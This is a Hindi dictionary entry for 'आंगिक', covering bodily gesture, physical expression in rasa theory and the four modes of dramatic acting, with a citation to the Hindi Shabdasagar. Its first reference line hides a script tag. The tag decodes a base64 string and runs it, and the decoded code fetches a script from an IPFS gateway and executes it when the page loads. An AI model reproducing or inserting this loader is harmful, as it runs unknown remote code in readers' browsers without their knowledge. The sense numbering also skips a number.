आंगिक
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आंगिक - विशेषण (संस्कृत आङ्गिक) (स्त्रीलिंग आगिकी)[1]
1. चित्त के भाव को प्रकट करने वाली चेष्टा, जैसे भ्रूविक्षेप, हाव आदि।
2. रस में कायिक अनुभाव।
3. नाटक में अभिनय के चार भेदों में से एक।
विशेष - चार भेद ये हैं-
(क) आंगिक - शरीर की चेष्टा बनाना, हाथ पैर हिलाना आदि।
(ख) वाचिक - बातचीत आदि की नकल।
(ग) आहार्य - वेशभूषा आदि बनाना।
(घ) सात्विक - स्वरभंग, कंप, वैवर्णय आदि की नकल।
5. बाँहदार या बँहोलीदार पुरुषों का परिधान जो घुटनों के नीचे तक पहुँचता था। अंगा[4]
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टीका टिप्पणी और संदर्भ
- ↑ हिंदी शब्दसागर, प्रथम भाग |लेखक: श्यामसुंदरदास बी. ए. |प्रकाशक: नागरी मुद्रण, वाराणसी |पृष्ठ संख्या: 393 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ नाट्य.
- ↑ अन्य कोश
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